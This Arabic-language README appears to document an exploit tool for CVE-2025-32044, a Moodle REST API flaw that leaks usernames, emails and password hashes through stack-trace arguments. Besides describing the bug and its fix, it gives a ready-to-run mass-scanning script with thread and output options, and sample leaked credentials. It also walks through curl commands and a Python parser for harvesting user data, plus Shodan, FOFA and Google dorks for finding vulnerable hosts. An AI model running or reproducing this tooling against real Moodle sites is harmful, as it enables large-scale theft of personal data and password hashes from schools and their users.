
Moodle 4.5.0-4.5.2 كشف بيانات المستخدم عبر REST API غير مصادق عليه عبر تسريب وسائط تتبع المكدس | CVSS 7.5
CVE-2025-32044 هي ثغرة كشف معلومات بدون مصادقة بدرجة خطورة عالية (CVSS 7.5) في Moodle LMS من الإصدار 4.5.0 حتى 4.5.2.
تقع الثغرة في معالج الاستثناءات الخاص بواجهة REST API في Moodle — exception_response::get_payload_data() في lib/classes/router/response/exception_response.php. قبل الإصلاح، كانت تتبعات المكدس الخاصة بـ PHP مع وسائط الدوال تُضمَّن في استجابات أخطاء API. تحتوي هذه الوسائط على بيانات مستخدمين حساسة تمر عبر مكدس الاستدعاءات — بما في ذلك أسماء المستخدمين، والأسماء الكاملة، وعناوين البريد الإلكتروني، وتجزئات كلمات المرور.
لا مصادقة، ولا رمز وصول، ولا تفاعل من المستخدم مطلوب لإثارة التسريب. يكفي أن يرسل المهاجم طلبًا مشوّهًا إلى أي نقطة نهاية في REST API تسبب استثناءً داخليًا.
| إصدار Moodle | الحالة |
|---|---|
| 4.5.0 – 4.5.2 | متأثر |
| 4.5.3+ | تم إصلاحه |
| < 4.5.0 | غير متأثر |
جميع الإصدارات مع zend.exception_ignore_args = On | غير متأثر |
اكتشفها: Lucas Alonso (14 مارس 2025)
متعقب Moodle: MDL-84879
النشرة الأمنية: MSA-25-0011
// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← includes 'args'!
];
return $data;
}
عند حدوث استثناء أثناء معالجة REST API، تتضمن تتبعة المكدس في PHP وسائط الدوال (args) لكل إطار في مكدس الاستدعاءات. تحتوي هذه الوسائط بشكل غير مقصود على بيانات من جداول المستخدمين كانت قيد المعالجة بواسطة دوال أعلى في سلسلة الاستدعاءات.
// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
بالإضافة إلى دفاع متعمق في lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Single target scan
python cve_2025_32044.py -t moodle.target.com
# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save leaked user data to file
--threads Concurrent workers (default: 30)
--timeout Request timeout in seconds (default: 10)
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
الخطوة 1 — اكتشاف Moodle وخدمات الويب
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled
الخطوة 2 — الحصول على رمز وصول (إن أمكن)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
الخطوة 3 — إثارة استثناء والتقاط التسريب
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable
الخطوة 4 — تحليل البيانات المسرّبة
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
يحقق الاستغلال الناجح ما يلي:
لأغراض تعليمية واختبارية مصرَّح بها فقط.
هذا البرنامج مخصص لمحترفي الأمن الذين يجرون اختبارات اختراق مصرَّح بها، والمؤسسات التي تدقق بنيتها التحتية الخاصة، والباحثين الذين يدرسون استغلال الثغرات.
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
هذا المشروع غير تابع لشركة Moodle Pty Ltd.
| الحقل | المصدر |
|---|
| اسم المستخدم | جدول user |
| الاسم الكامل | firstname + lastname |
| البريد الإلكتروني | عمود email |
| تجزئة كلمة المرور | تجزئات bcrypt $2y$ / $2b$ |
| عنوان IP لآخر تسجيل دخول | عمود lastip |
| معرّف المستخدم | عمود id |
| المورد | الرابط |
|---|
| نشرة Moodle الأمنية MSA-25-0011 | moodle.org |
| متعقب Moodle MDL-84879 | tracker.moodle.org |
| التزام Git (الإصلاح) | github.com/moodle/moodle/commit/41917db65e6b |
| إدخال NVD | CVE-2025-32044 |
| المكتشف | Lucas Alonso |